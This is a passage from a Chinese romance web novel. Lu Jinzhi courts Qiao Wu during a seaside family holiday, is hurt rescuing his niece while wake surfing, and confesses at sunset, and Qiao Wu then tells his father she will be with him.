心知自己犟不过他,乔梧也没拒绝,她上下看了眼自己:“这都认得出来?” 她带着头盔,穿得也很普通啊。 陆尽之笑了下,屈指在她的头盔上轻轻敲了敲:“你猜为什么我只喜欢你。” 乔梧眼皮一跳:“陆尽之!” 这里还有小孩呢! 但陆尽之只是随意地往后面瞥了一眼,笑意盈盈地问:“你听见了?” 陆柠脑袋摇得像拨浪鼓,还很懂事的伸手捂住了头盔。 不要跟呜呜的衣食父母对着干。 二叔 说听不见,她就听不见。 而且二叔喜欢乔梧,她又不是不知道,乔梧反应为什么这么大? 三分钟后,酒店的员工把小电驴骑过来,一脸梦幻地看着陆总和乔小姐就这么带着小小姐骑车走了。 果然有钱人不走寻常路。 在海滨城市骑小电驴的人很多,度假的沿海路也有专门的非机动车道,人不是很多,陆尽之就保持着不远不近的距离一直跟在两人身边。 乔梧时不时都想侧头看一眼。 她见陆尽之开过车开过船,还没见他骑过电瓶车。 但偶而一扭头,看到的就是一个漆黑的头盔。 好怪异的感觉。 却让她忍不住想笑。 好不容易到了宠物医院,陆柠先跳下车。 乔梧放好车回头,恰好看到陆尽之也摘下头盔。 她很少看到陆尽之比较凌乱的样子,上一次是在河前村,但那会儿他只是开了太久的车显得有些疲惫,而此时的他跟开船时被风吹的不同,一向齐整的头发被揉得乱七八糟,脸也被头盔压出淡淡的红印。 他低垂着眼放头盔,脸上表情有些淡,却有种让人很亲近的生活感。 很新奇的陆尽之。 放好东西的陆尽之回头,见她满眼打量,挑眉:“怎么?” 乔梧坦然道:“好奇你的包袱到底是什么。” 要说他精致吧,他也可以在灰扑扑的引擎盖上坐下。 要说他矜贵吧,小电驴也是得心应手。 他能把包袱高高抬起来,也能轻而易举地抛下。 陆尽之绕过小电驴,跟刚才下车那会儿看她那样,目不转睛:“我一直以为这个问题的答案很显而易见。” “你……” “哈喽。”被两人夹在中间已经跟头盔战斗了很久的陆柠仰着脑袋,很努力地踮起脚彰显自己的存在感,“有人可以看看我吗,可以帮我摘一下头盔吗?” 怎么回事,她好像忽然共情陆宣了。 陆尽之垂下眸,像拔萝卜似的把她脑袋跟头盔分离,淡淡道:“长进了。” 居然被二叔说长进了?! 陆柠腰板挺得更直:“我是不是变聪明了?” “不是。”陆尽之扫了眼她炸毛的头发,弹了下她的脑门,“以前只是颗球。” “?” 陆尽之:“现在是颗会发光的球。” “???” 她是不会原谅他的!给呜呜买20的罐罐都不行! 陆柠怒气冲冲地背着猫包跑进医院。 乔梧觉得连陆尽之都变得幼稚了,她轻轻睨了对方一眼,也跟了上去。 陆尽之原本想要跟上,但临进门时却接到了陆江的电话,他脚步顿了下,停在门外。 电话一通,那头的陆江就语气不善地问:“你提前过来了?” “嗯。” 还没找到机会跟乔梧谈话的陆江:“……” “小梧呢?”陆江压着火,“你是不是跟她出去了?” “嗯。”陆尽之平静地说,“短时间也不会回去。” 这意思就是,晚上的饭局他不会让乔梧过去的。 他就是打算好了才这么早过来。 陆江被他这不咸不淡的态度气得不行:“人家是为她来的。” “不是去拜访你的?”陆尽之轻嘲,“关她什么事。” 陆江深吸一口气:“陆尽之,你老大不小了,怎么那么任性,这个家才安宁几天!你顾着你自己,有没有想过你弟弟你侄女?想过他们怎么接受这件事没有?” 陆尽之不愿意跟情绪上头的人说话,正准备挂断,又听陆江说:“还有小梧,现在这些都是她辛辛苦苦经营起来的,你想过她没有?” 陆尽之神色稍淡:“所以?” 陆江升腾的怒火在这一刻被打断:“什么所以?” “是她经营起来的,所以?”陆尽之声音不徐不疾,“怎么接受是他们该考虑的,不是乔梧,她仁至义尽,凭什么要替他们承担这些?有这功夫去做做你两儿子的思想工作。” “还有一件事你搞错了,你要担心的不是我跟她在一起的后果,而是没有在一起的后果。” 陆尽之看着不远处挨在一起的一黑一白的头盔,笑了下:“是我先喜欢她,是我在追她,是我不择手段不知悔改,如果她不愿意跟我在一起,那情况会更糟糕。” 陆江:“……?” 你还想给人来硬的?! 他一时之间居然不知道要去担心哪一个可能,这么多天家里的法制频道白看了?! “陆尽之,你要是敢胡来,我第一个报警抓你!” 陆尽之:“随便吧。” 他清楚陆江做事的风格,之所以这么早过来一是不想让乔梧跟沈延吃完饭。 二是知道陆江拿他没办法,既然确定了他回去时间,就一定会在那之前找乔梧解决问题。 他语气带着几分有恃无恐的慵懒:“不要去烦她,追人很难的。” 该说的已经说完了,陆尽之也不想再听什么废话,干脆利落把电话挂了。 这一次顺带把他老子都给拉黑了。 做完这一切他才回头进了宠物店。 乔梧和陆柠坐在联排椅子上,见他回来抬起头:“打完了,要观察二十分钟。” “嗯。”陆尽之在她身边坐下,“一会儿什么安排?” “还没定。”乔梧揉着小猫的脑袋,笑着问,“你觉得呢?” 像是抓到了某个讯息,陆尽之眉梢忽然扬了扬,侧头看她:“我定?” 乔梧垂着眼看小猫,却是在想刚才在门口听到的话。 她没想偷听陆尽之电话,只是想起回头问问他要不要在监护人那上面加他一个名字,毕竟陆柠是个未成年人,医院只会找监护人,而陆尽之也喂过呜呜一段时间奶。 但走到门口就听到了自己的名字,所以没忍住听完了全程。 如果她不答应跟陆尽之在一起,情况会有多糟糕? 那如果……答应了呢? 她抬眸,不答反 问:“我很难追?” 被听到了通话内容的陆尽之安静了几秒,忽一莞尔:“难吧。” “我总是在想,怎么才能让你像我爱你一样爱我。” 但他感知不到自己。 设身处地想一想,他这种人爱上一个人本身是一件很难的事,等反应过来时就跟很多难以严明的念头一同囚于牢笼之中了。 他一边想让她知道自己的情绪,一边又藏着掖着,担心她害怕。 但无论如何,他放不开手。 可他舍不得乔梧那样艰难地爱他,却又期待乔梧那样爱他。 所以很难。 这通电话被听到,对他来说是件坏事,但又未必不是件好事。 不过他很快就找到了最优解。 他微微偏过头,在她耳边轻声问:“呜呜要怜悯一下我吗?” 已经抱着猫咪缩到了联排椅子底下的陆柠战战兢兢。 怎么回事,真当她不存在了吗! 她好像不太听得懂二叔和乔梧的对话了。 好可怕。 第82章 第八十二章暧昧关系 听了陆尽之打电话的内容,乔梧大概知晓了一些情况,虽然不知道今天要发生什么,但陆叔叔应该是知道她跟陆尽之的事了,并且应该是不同意的态度,原因并不难猜,毕竟陆叔叔一直以来都是把利益放得很重的人。 但乔梧却不觉得这是什么大事。 如果她真的决定跟陆尽之在一起,那别人是什么看法她不会在意的,也不会因为那些所谓的误会让两人之间存在什么间隙。 感情最重要的是感情,不是外因。 爱不能抵万难,但爱也能抵万难。 她没有经历过爱情,但预想中爱情本来就是幻想和现实的交叠。 让她意外的是陆尽之对于陆叔叔的坦荡。 但转念一想,也是,他对谁不坦荡呢。 乔梧很快收回思绪,笑着嗯了声:“你定。” 虽然每天一起上班下班,但她跟陆尽之最近都很忙,的确很久没有在一起单独吃顿饭了。 “但是我答应陆柠要带她玩了。” 缩成鹌鹑的陆柠:“……” 见二叔瞥过来的眼神,她轻轻抖了抖,忽然福至心灵,带着试探的语气说:“也不着急这一天?” 最后陆尽之还是让人过来先把小猫带回酒店,把陆柠留下了。 他有种直觉,要是真把陆柠赶走,可能今天在外面也待不久。 反正陆柠那脑子跟陆宣大差不差,怎么待都无所谓。 而且为了提前过来他昨晚连夜加班,难保会有走神的时候,也是临时过来并没有做好这边活动的打算,所以如果有陆柠在多少能分散一点乔梧的注意力。 虽然骑了小电驴出来,但也不能一直在外面暴晒,吃完午饭让陆柠在公共沙滩玩了一会儿后,陆尽之让人送来了快艇,也心知自己的状态,所以没有自己开船。 这类快艇空间比较宽敞,速度快的同时也有遮挡板不会被晒,累了还可以在沙发上休息。 由于提前了安排过来,陆尽之要时不时回一下徐朝的消息,这个时候乔梧便坐在船尾看教练教陆柠怎么玩尾波冲浪。 陆柠在语言方面的确没什么太大的天赋,教练说了半天她愣是还没搞明白,趴在冲浪板上起不来,好不容爬上了板,没一会儿又自己栽下去。 最后灌了半肚子的海水,趴在板上要死不活:“我申请休息一下!” 自己家人出来玩,是没有任何游玩限制时间的,全程听从老板安排。 教练见状便让开船的师父放慢速度拉小小姐上来,又回头问:“乔小姐要来吗?” 乔梧不太擅长专业冲浪,但尾波还是可以的,昨天顾及到陆柠的安全,她也没进海,现在状态放松看着也心痒想试试了。 “好。” 她很快穿好衣服下了水。 陆尽之在休息室里接完电话出来就听到外面压过海水身影的大呼小叫,陆柠举着相机趴在船尾拍个不停。 他略一抬眸,目光稳稳落在了船后那人身上。 环境真是一个好东西,在不同的场景下他总能看到不同的乔梧。 看过她飙车,看过她开快艇。 显然此时的她远比上两次要更加凌乱一些,海水已经彻底把她打湿,冲浪溅起来的水花在阳光的照耀下,像是一颗又一颗的星星落在她身上,最终在她身上凝聚成夺目星光。 她冲浪不需要牵引绳,脚尖分开稳稳地立在板上,还能时不时压一下浪,在海里简直游刃有余,教练都赞不绝口。 也难怪陆柠咋咋呼呼在相机里不知道拍了多少。 陆尽之发现不管是小时候还是现在,只要有乔梧在的地方,他总是能生出一种冲动,想要跟她一较高下的冲动。 他一直企图去窥探她的内心世界,以前是,现在也是。 也想像她一样,做她做的事。 就像此时此刻。 海里的乔梧做了个停的手势,教练刚要拿牵引绳给她拉她上船,可绳子却被另一修长的手先拿了过去。 陆尽之捏着绳子道:“再拿块板。” 部分船只可以提供双人冲浪的项目,只要游客熟练。 所以教练转头去取板了。 陆尽之将绳子扔给乔梧,单膝蹲在船尾拽着绳子的一头,垂着眸看着她滑入水中顺着绳子慢慢游过来,然后抬手搭在了船上。 他轻笑:“原来是条美人鱼。” 见教练取了另一块板,乔梧抬起头:“你也要来?” “嗯。”陆尽之松开绳子,抬手开始解自己的衬衫扣子,“要一起吗?” “可……”乔梧头都没点完,就见陆尽之在她面前脱完了衣服,由于两人隔得太近,对方的腹肌直接就怼在了她眼前。 她愣了下避开视线:“你脱衣服干什么?” 望着她通红的耳尖,陆尽之笑了声:“总不能湿着回去。” 他将衣服放在一边,捡起绳子的一头轻轻晃了晃,另一头牵动着乔梧的手:“为什么反应这么大,沙滩上不也有很多人跟我一样?” 乔梧被他晃得心乱,丢下绳子:“他们跟你一样?” 陆尽之虚心求问:“哪里不一样?” “……” 人家不会见缝插针来来表白! 乔梧背过头去,懒得理他。 “不看我?”陆尽之锲而不舍。 抱着相机坐在旁边的陆柠眨眨眼,不理解但马屁:“二叔,沙滩上的人没你高没你帅!” 陆尽之头一次在小孩这儿听到还算好听的词,随意抬手揉了揉她的脑袋。 然后又听陆柠道:“但像你这样的昨天有三个,乔梧也没看,你也无需自卑。” 陆尽之:“……” 他收回手。 果然,能指望一个基因出来的人能说出什么好话来。 他从船沿下水,回头拿板时轻声感慨:“原来呜呜定力这么好。” 而后视线歪到她的耳根,带着些疑惑的语气:“那怎么这里会红?” “陆尽之。”乔梧总算把视线挪到他身上,看到他肆无忌惮的目光后,挑眉,“别管我没提醒你,昨天耍帅的陆应池今天被晒成了张飞,被子都不敢出。” 陆尽之毫不意外:“符合他的人设。” “放心。”他笑着说,“被看一眼和被看很多眼,我能分清重要性。” 只是一个尾浪的时间而已,再者都要来海边了,他早在上飞机时就提前有准备。 他从不让自己吃苦。 这次是两人一同牵着绳子。 在教练和开船师父商量的时候,陆尽之循着绳子往身边看了眼,忽然脑海里冒出一个从未有过的画面。 察觉到他的视线,乔梧回头:“怎么?” 因为还没开始,所以两人都是悬在板上的,此时面对面。 陆尽之身体隐在水里,但露出来的手臂却依旧被水色润得很白,肌肉线条倒是没有陆宣和陆应池那样刻意锻炼后的视觉强烈。 但薄肌适宜,也很有力量感。 陆家三兄弟里只有陆尽之是个懒蛋,乔梧很匪夷所思,这样的人是怎么 维持自己身材的? 虽然不愿意承认,但食色性也。 她对长得好看的人下意识都会多几分关注,只不过跟欣赏陆宣那种漂亮不同,眼前的陆尽之是跟她有感情纠葛的人。 这一刻乔梧才反应过来,当初陆尽之给她挖了多大一个坑。 如果陆尽之还是以前的陆尽之,就算他今天扒光了自己在这儿,她都不会觉得有什么。 但这是喜欢她的陆尽之,所以她总是会把他的行为和言语往男女之情上靠,以至于食色性也都变了一种味道,不管是他露出来的皮肤还是他的目光,都比头顶的阳光还要灼热,让她身体和脸都不住发烫。 此时的陆尽之没有刚才故意脱下衣服时的试探和调侃,反而多了几分认真的味道。 没有风浪,他的头发湿漉漉地垂着,瞳孔漆黑。 带着宁静又让人身陷其中的引诱。 陆尽之轻轻用指尖勾了勾两人面前那根绳子,弯着眸问:“喜欢中式婚礼还是西式婚礼?” “……” 乔梧反手一拍,掌心的海水尽数洒在陆尽之脸上:“这只是一根绳子。” 后者被扑了一脸水却依旧笑得很开怀,他的脸轻轻贴在水面:“呜呜,跑题了。” 回答他的是乔梧抱着板游到了更远的地方。 教练在船上比了个OK的手势,示意可以开始了。 学渣趴在船尾将镜头中心对准了水面上的两人,在船开起来他们站上板后眼睛忽然一亮。 比起乔梧,陆柠更不了解二叔这个人。 因为她觉得二叔虽然总是笑着看起来很好相处,但比起陆宣和陆应池却更难让人害怕,难以猜测。 可每当看到二叔和乔梧在一起的时候,她又觉得二叔好像也挺好猜的。 很直接的高兴和不高兴。 就像这个时候,她就能清楚地感受到二叔很高兴。 虽然有些不愿意承认,但在陆柠心里二叔的确是家里最厉害的人,有点高高在上。 可此时的他跟乔梧在同一个镜头里,却让他沾染了些平时没有的人气,变得可以触碰起来。 海面上的两人不用教练说什么,动作总是很统一,时不时对视一眼,两人眼尾都能挑起笑意,拍下来的每一张都很完美。 陆柠少见能站在二叔身边却不被压制的人,同样,也少见对待乔梧能坦然自持的人。 所以这两人说话她听不懂,那也是应该的! 陆应池早上说,那个沈叔叔配不上乔梧。 配,应该就是她镜头里的这个意思。 拍到好多图的陆柠心满意足,打算把相机放到一边,好好欣赏一下。 但船尾全是水,哪怕做了防滑处理,她放下相机回头时一个颠簸站不稳,直接从后面栽了下去。 乔梧吓了一跳,反应过来时动作先理智一步,立刻将甩着板避开前面,否则跟陆柠撞上后果不堪设想。 等她调好方向丢下板回头时,船已经停了,海面也没再起多大的风浪。 被陆尽之按住的陆柠双手双脚都牢牢扒在陆尽之身上,脸上也不知道是水还是眼泪。 陆尽之的板理他距离不远,被他挡在身后,应该是他直接跳下来后挡的。 乔梧有些发愣。 至于陆柠,她掉下水的时候脑袋完全空白,根本没反应过来发生了什么,再清醒时已经在海里沉浮,快艇的压出来的水花打得她脸和身体都疼得要死,手忙脚乱地在海里扑腾。 “啊啊啊啊救命!我要死了!” “不行,我的呜呜还没长大,期末考试成绩还没下来,我还没好好争气。” 然后她就被一只大手给拉了过去,她恍惚中就看到是二叔的脸,也顾不上什么直接就把人给缠住了。 “二叔呜呜呜我还不能死,我才十三岁。” 陆尽之将人从自己的身上撕下来,冷着脸:“我看你是想我死。” 他毫不客气地将陆柠的双手给圈住,像翻龟壳一样给她翻过身子仰躺在海面上,拎了拎她的救生衣:“安静点。” 这时陆柠才发现自己一直是穿着救生衣的。 噢,原来死不了啊。 她吸了吸鼻子,乖乖躺着。 又想起刚才自己好像差点把二叔给按水里淹死了,顿时吓得赶紧仰头:“二叔!” 陆尽之在她前面勾着她的救生衣给她拖到船边:“嗯。” “太好了。”陆柠眼泪又唰唰唰掉下来,“你没死呜呜呜。” 陆尽之默了两秒,没忍住回头扯了一下她的嘴巴:“这嘴挺吉利,可惜会说话。” 教练在船上一边道歉一边帮着把小乌龟给抱上去,陆尽之却在水里没动,将朝着他伸手试图拉他上岸的陆柠拍开:“吵,赶紧进去。” 陆柠不敢说什么,蔫蔫地进了休息室。 乔梧缓缓游到陆尽之身边,皱眉:“没事吧?” 只要板不砸到陆柠,陆柠是不会出事的,所以当时她下意识把板移走。 但陆尽之那个距离实在是太近了。 “有事。”陆尽之朝她轻轻笑了笑,“呜呜拉我一把。” 不知道他是真是假,但乔梧还是先上船伸出手。 陆尽之紧紧握住她,却没使太大的力气,而是另一只手撑着船尾翻了上去,随手扯过放在一边的衣服就要穿上。 但这次动作只到了一半就被拦住了。 微凉的指尖按在他后腰的位置,连带她声音都变凉了:“陆尽之,你碰到板了?” 那么大的冲击力砸在身上,怎么可能一点事都没有。 他后腰直接红了一块。 陆尽之笑了声,回头将她的手按住,用快速穿好衣服:“碰了我是要负责的。” “少贫。” 乔梧掀开他的衣服想要再确认一下,却被陆尽之拦住了,他温声说:“没事。” “陆尽之。”乔梧扯着他的衣服没撒手,“你现在有机会让我心疼你。” 陆尽之轻轻弯了下唇。 原本是有这个打算,但想了想,疼一个人就行了。 他舍不得。 见他依旧不撒手,乔梧便道:“那下次你也不用问我了。” 陆尽之侧目,看到她眼里的不退让,隔了好几秒那双黑眸里像是盈满了星光,他轻轻叹了口气。 下一秒他俯下身,将额头抵在她的肩膀上。 “呜呜,我有点疼。” 借着这个姿势,乔梧掀开他的衣服就能看到他腰的位置:“回去看医生。” “一会儿。”陆尽之也任由她在自己身上留下冰凉的温度,另一只手却抬起来轻轻抵了抵她的侧脸,“我是带你来看日落的。” 乔梧微怔。 脸上的力道不大,她却顺着扭过了头,看到海平面上洒下暖黄的光。 “疯了你。”她说不清心里是什么感觉,只是定定地看着日光,轻声说,“这是看风景的时候吗?” 陆尽之:“看一会儿吧,就看一会儿。” 没等乔梧再开口。 他又笑着说:“我原本的计划,是在这个时候给你表白的。” 乔梧呼吸滞了片刻:“你每天都在表白。” “不一样。” 陆尽之靠在她肩头,看到她往下滴水的头发,莫名起了一股冲动,抬手接住了那滴水。 这动作乔梧全都看在眼里,也看到他将手心合拢,连带着她心脏像是被人抓住了一样。 陆尽之缓缓说:“酒店的表白只是在告知心意。” “那今天是什么?” “什么都不是,只是适合。” 乔梧没听懂。 在她肩头的陆尽之忽然动了,抬起头单手撑在她身侧,看着她被夕阳照了半边的侧脸,又与她对视。 “我想在很多地方很多合适的情景表白。”他轻笑,“让你时时刻刻都听得见感知得到。” 乔梧在这一刻居然忘了他还是个伤患,脑袋也有些空白。 她静静坐在他面前,几乎被他半个身子笼罩着。 “呜呜。”陆尽之如他所说的,在落日下笑吟吟同她表白,连同他眼里的情谊一起一览无余,“我很喜欢你。” 乔梧半边身体被他的声音哄得发麻,一时之间找不到任何话来回应。 许久以后她才动了动手,肩膀也微微塌下去。 “陆尽之。”她笑了笑,“你好粘人啊。” 粘在她身边严丝合缝,不给她任何喘息的空间,任何一点松动都会被他趁机而入紧紧地贴着。 抓她的软肋,又附庸倚靠她的铠甲,软硬兼施,让人避无可避。 她也总是做不到理智,做不到从容。 “不带你回酒店。”她将陆尽之的衣服拉好,“去医院。” 该做的已经做了,陆尽之也不会在这儿继续浪费时间,毕竟刚才那一下的确撞得有点狠,他嗯了声,挪开身体。 见乔梧起身朝开船师父那里走去,他唇角扬了扬。 把被拉黑的陆江放出来,心情极好地给他发了条消息。 “谢了。” 发完又再次把人拉黑。 虽然本意是坏的,但这怎么不算做了一件好事? 呜呜好像没什么底线了。 此时的酒店里。 陆尽之说不来就真的不来,手机也完全打不通了,看到那条消息以后 的陆江更是气得差点把手机砸了。 他深知这个时候要是打给乔梧,肯定也是被老二挂掉的份,一时之间居然不知道该如何是好。 一方面觉得这两个孩子在一起不合适,另一方面又觉得老二那鬼性子说不准真的干出什么蠢事来,到时候直接带着乔梧再远走高飞个两年五年。 回头再跟他说“我算算你什么时候死再回来”。 那他真是谢了个老天爷。 思来想去,陆江真的没了任何办法,连带对上门的沈家父子态度都带了几分歉意。 “这就是在你们家这么多年的老管家啊?”沈父自然的把话题引过去,“听说你女儿也在,怎么不见她?” 乔知义自从知道这个年轻孩子打女儿的主意,就怎么看都不顺眼,打着哈哈道:“你们是客人,小辈就不来掺和了。” 沈父还没说话,陆江又把话头接了过去:“她跟我家老二带着我孙女出去玩了,年轻人玩起来也不知道几点回来,不管他们。” 老二? 沈父愣了一下。 陆尽之那是带人玩的人? “陆尽之回来了?”全程臭着脸的陆应池皱眉,“不是说明天才回来么,而且他们怎么出去玩不带我?” 陆江恨铁不成钢:“玩玩玩就知道玩,长点心眼吧!” 陆应池一脸莫名:“骂我干什么?” 被孤立的明明是他好吧! “是啊。”连乔知义也疑惑,“二少爷好像没回酒店,直接出去玩了?” 此时面对乔知义,陆江就有几分心虚,给他倒了杯酒:“小孩子的事我们不管,孩子开心就好,老二工作这么久,出去玩玩也是正常的对吧?” “的确。”乔知义点头,又忙道,“先生您不用这么客气,我自己可以来。” 陆江心道,你可不能自己来。 到时候一气之下带着女儿远走高飞了,这家就更乱了。 他无声叹气:“都是一家人,不说这些。” 一顿饭吃得各自都心怀鬼胎。 走出大门后,沈父才对不争气的儿子说:“你死了这条心吧。” 沈延还在为没看到乔梧失落呢,闻言不服:“为什么?” “你陆叔叔什么路数你不知道?他能不知道我们来的目的是什么吗?要是有意就不可能不让乔梧出来的。”沈父说,“而且你看他对那老管家的态度。” 陆江给人倒酒? 沈父回头看着他家的蠢儿子:“乔梧跟陆尽之,什么关系?” “朋友啊。” “但你说乔梧喜欢比她有本事的,那陆尽之不就正合适?” 沈延拒绝承认,“他嘴毒。” “他对乔梧嘴毒吗?” “……” 沈延哪里知道。 上次在海边,陆尽之坑他50万还被乔梧给教训了,但好像他也没说什么。 想到自己至今还在黑名单里的事,沈延隐隐有种不太好的预感。 靠,陆尽之那天不会是吃醋了吧。 他拿出手机给乔梧发消息,拐弯抹角地问她在哪,晚点要不要再一起出去玩。 乔梧很快回他:“今天有事。” 好像也还正常。 沈延又问:“你跟陆尽之在一起吗?” 乔梧:“嗯。” 沈延啪啪啪打字,疯狂试探:“你们两,还是朋友吗?” 这次那头隔得有点久。 沈延等得抓心挠肝。 好几分钟以后,他没等到乔梧的回复,倒是陆尽之的消息发过来了。 陆尽之:“不是朋友。” 陆尽之:“是我在追她。” “……” 沈延手抖了抖。 他闭了闭眼,却发现不是自己的错觉。 “爸。”他恍恍惚惚地问,“咱们酒店多少钱一晚?” 沈父懒得搭理这个蠢儿子。 另一头的医院,乔梧看陆尽之熟练的把人拉出黑名单,又把人拉回去,有些想笑。 像陆尽之这种人真的很怪。 按理来说他这种性格,秦敛和沈延他们对他恨之入骨也是应该的。 但哪怕到了现在,其实他们关系也很微妙。 互相看不顺眼,但也的确不会真的讨厌到哪里去,大家明目张胆地对彼此的不满,到了关键时刻该干什么还是干什么。 但想到陆尽之今天直接下了板去接陆柠,乔梧也觉得情有可原。 他可能不饶人也记仇,但其实在关键事情上还是挺靠谱的。 陆柠是他侄女,在这种关系上他可能潜意识比她更要在意陆柠的安危。 而或许他嘴炮秦敛或是沈延。 但该跟秦家合作还是合作,该教沈延还是教沈延。 所以别人也拎得清。 乔梧垂眼,终于明白了今天陆尽之怎么都不让她回去的原因,过去还因为呜呜的称呼吃醋,今天倒是很沉得住气了。 她失笑:“怎么不跟我说?” 她跟沈延没什么,哪怕今天吃了这顿饭也不会有,所以并不在意。 但陆尽之还要特意去告知别人一下。 陆尽之收起手机:“要有压力也该是他有压力。” 在陆尽之的认知里,跟人竞争是自己的事,跟乔梧没有任何关系,她也不必知晓,所以要他把自己跟别人放在同一个维度去告知她让她做选择,是一件挺蠢的事情。 他只要一种选择。 此时自告奋勇去取药的陆柠已经跑回来了,乔梧便没说话。 陆尽之受了伤,三人自然不能再继续骑车回去,而是让司机来接。 陆柠殷勤跑去抢了司机的工作,打开车门:“二叔快上!” 陆尽之睨她一眼,到底还是上去了。 然后就看到陆柠自己跟着爬了进来:“二叔我给你说说这些药要怎么用噢!” 眼睁睁看着乔梧去了副驾驶的陆尽之:“……” 他眯了眯眼,打断了陆柠叽叽喳喳的声音,抬手按住她的脑袋:“开关在哪?” 陆柠没动弹,很茫然:“嗯?” 陆尽之在她后脑勺拍了拍,淡淡道:“关灯。” 陆柠:“?” 坐在副驾的乔梧没忍住,轻笑出声。 二叔又在说她脑袋发光! 看在他救了自己命的份上,陆柠忍气吞声,但二叔不想让她说话她就不说了,全程保持安静。 隔了一段距离,陆尽之也没法再说点什么。 没了陆柠的声音,车上变得安静起来。 乔梧再回头时,发现陆尽之已经阖着眼像是睡着了。 她不用深思就知道,陆尽之为了沈延的事把原本的计划打乱,应该是提前把所有的工作都做了。 遇到沈延也就是昨晚的事,那他是熬了个通宵后今天还骑车冲浪运动了一天。 乔梧视线在那张脸上驻足了片刻,而后将手机拿出来。 之前被陆尽之抢了先,她一直没回复沈延后面的消息。 在陆尽之表白之前,她曾经想过跟任何人去接触发展关系,但现在她看了聊天框一会儿,忽然发现。 如果不是沈延,换成其他人的示好和表白,她也没有办法保持原来的心 态了。 陆尽之把她粘得没有办法靠近其他人。 粘得她底线一再降低,开始抵触其他人。 虽然**是陆尽之的事,但于她而言,对待一个发展对象也要有明确的指向。 许久后,她在屏幕上打下两行字。 “不是朋友。” “是暧昧关系。” 第83章 第八十三章来日方长 再回到酒店,每个人都在做自己的事,好像之前压根就没人来过一样。 整个家里除了陆江有其他的心思以外,没有一个人是认同沈延的,故此也不会再提起这件事,大家心知肚明地各自回到自己的房间。乔梧也心领神会没有多言,对她来说多一事不如少一事。 而陆尽之今天也没有再跟任何人“深入交谈”的意思,进门就直接跟乔梧一起进了电梯。 这次选房间他不在场,是事后才收到的分配消息。 在看到自己跟乔梧再同一层停下,对方自然地走出去以后,他眉梢轻轻扬了扬。 “如果不舒服直接打电话让医生过来。”乔梧边走边嘱咐,“不行也可以给我打电话。” 没听到身后的回复,她停下脚步回头。 陆尽之靠在他房间门口,似笑非笑地看着她:“我们一墙之隔?” “抽签抽的。” 陆尽之:“只要你想,他们很乐意跟你换房间。” 察觉到他话里的试探,乔梧转过身,平静地问:“为什么要换?” “嗯?” 乔梧轻笑,在她看来任何一段关系都不是单方面的,如果她能接受跟陆尽之走下去,那她会给他释放相应的信息。 所以她说:“我好像没排斥过跟你接触,而且这种情况下,该紧张不安的人应该是你吧。” 陆尽之带着些许倦意的眼睛像是染上了层深意,原本含笑的神色也收敛了些。 他向来擅长从细枝末节去抓到对方的弱点再直接击溃。 只是在这件事上要小心再小心,所以他没有轻举妄动。 如果说之前在宠物店里乔梧说的那句“你定”是他的错觉,海上那句“你好粘人”是难以体会的纵容,那现在这句总不是不易察觉的讯号了。 他没有走上前,而是站在原地安静地看着她,从她的浅眸到她的五官。 怎么哪哪都这么合心意。 为什么她的一言一行,她的坦荡她的直率聪慧都让他越发深陷。 他喉间轻滚,抑制不住地朝前走了一步。 “陆尽之。”乔梧出声制止他,“你该睡觉了。” 陆尽之站在与她两步之遥的位置,像是没听见似的,依旧望着她。 抓不住利益的商人不会成功。 可下一秒,乔梧的话却让他心甘情愿地驻足在原地。 “我们来日方长。”她说。 隔壁的房门关上后传来轻微的声响,将陆尽之从遥远的思绪中拉扯回来。 他望着那道门,忽而无声笑了。 来日方长啊。 一个半小时后,乔梧的房门再次打开。 她无声越过陆尽之的房间下了楼。 刚才的情况她知道陆尽之一定想要趁机做点什么说点什么,但都不是时候。 他累了一天一晚还受了伤,这个时候最该好好休息。 而她也有要处理的事。 所以她说来日方长,不必拘在这一分一刻的时间里。 她来到二楼,敲响了其中一个房间的门。 里面的人早已等候多时:“门没锁。” 乔梧推开门进去,看到坐在书桌前的长辈,礼貌喊了声:“陆叔叔。” 虽然回来时谁也不说,但事实上只剩下一层窗户纸了。 其实陆江也没打算再找乔梧,这件事要是再落到老二耳朵里,到时候又是天翻地覆。 但他没想到,乔梧会主动给他打电话。 既然两人今天是一起回来的,那乔梧想必应该知道他和老二之间的谈话了。 他有些猜不透乔梧要做什么。 难道是受不了老二了? 也是,这世上有谁能受得了他,也不知道这闺女遭了什么罪摊上这么个丧天良的玩意儿。 陆江觉得心很累,一时之间不知道是该担心乔梧跟老二在一块儿,还是担心乔梧不愿跟他在一块儿。 家里这些事儿比公司那些更让人费心,他按了按眉心:“坐吧。” 乔梧没有坐下,而是像一个小辈一样站在他面前,也不打算过来绕弯子,很直白地说:“叔叔,今天我听到了你跟陆尽之打电话。” 陆江放下手,眉心蹙着:“你是什么想法?” 原本过来时乔梧是挺平静的,可真的到了这个时候,她却有些紧张起来了。 到底面前的人是个长辈。 她的情感经历一片空白,可不仅是陆尽之会在她之前扫清障碍,她也是这么想的。 不知道当初陆尽之跟他父亲说话时是什么心态,她绝对做不到心平气和。 好像把自己的名字跟另一个人绑在一起,就是一件让人很心潮澎湃的事。 她一直以为,像电视剧或者小说里那样的爱情,是看到对方会脸红心跳,是满眼爱意。 但她跟陆尽之不一样。 两人认识太久了,从小时候安静地待在彼此身边到只言少语地在藏书阁通过书签对话,再到长大后一点点熟悉互相了解,一切都太过自然又水到渠成。 她偶尔会觉得心跳失衡,在陆尽之跟她说让她往外飞的时候,在他认出灵魂里的她的时候,在他千里迢迢跑到山里,仅仅只是为了她的一句话与她看同一片星星的时候,在他说她是鲲鹏的时候,在他弥补过去那段消失的时光的时候,在他仅仅为了确认心意出现在她身边给她一个拥抱的时候…… 在很多很多时候。 星星什么时候都可以看,但在某年某月某日某时某刻的星空下,只有一个人可以让她忍不住落泪。 她永远都会为了梦中那个仅仅守着一个名字、就等到人生落幕的陆尽之感动。 除开这些触动的时刻,大多数时间里她跟陆尽之的相处都很简单平静。 她没办法用理论来解释分析自己的情感,就像陆尽之这种天才也要自己慢慢去体会摸索一样,所以也没有办法按照那些既有的电视剧来参照自己的生活。 她只是觉得,见到陆尽之会高兴。 从最初的惊讶无措,到现在听到他表白时压不住的雀跃,是无法忽视的。 在船上那一刻,她忽然就明白了,爱情没有定义,更不会按照理想那样一步一步来,它总是悄无声息的浸透你,把你丝丝绕绕地紧紧缠住。 像陆尽之说的那样,等到反应过来的时候,就已经逃不开了。 她在船上说“陆尽之,你好粘人啊”。 其实是想说。 陆尽之,你赢了。 所以她也不希望陆尽之一个人来面对这些事情,总归也有她的责任在。 “叔叔。”乔梧轻轻掐了下指尖,稳着声音说,“我打算跟陆尽之在一起。” 陆江压着烦躁的眉宇倏忽一展。 在这一刻第一反应竟然不是惊讶,而是松了一口气。 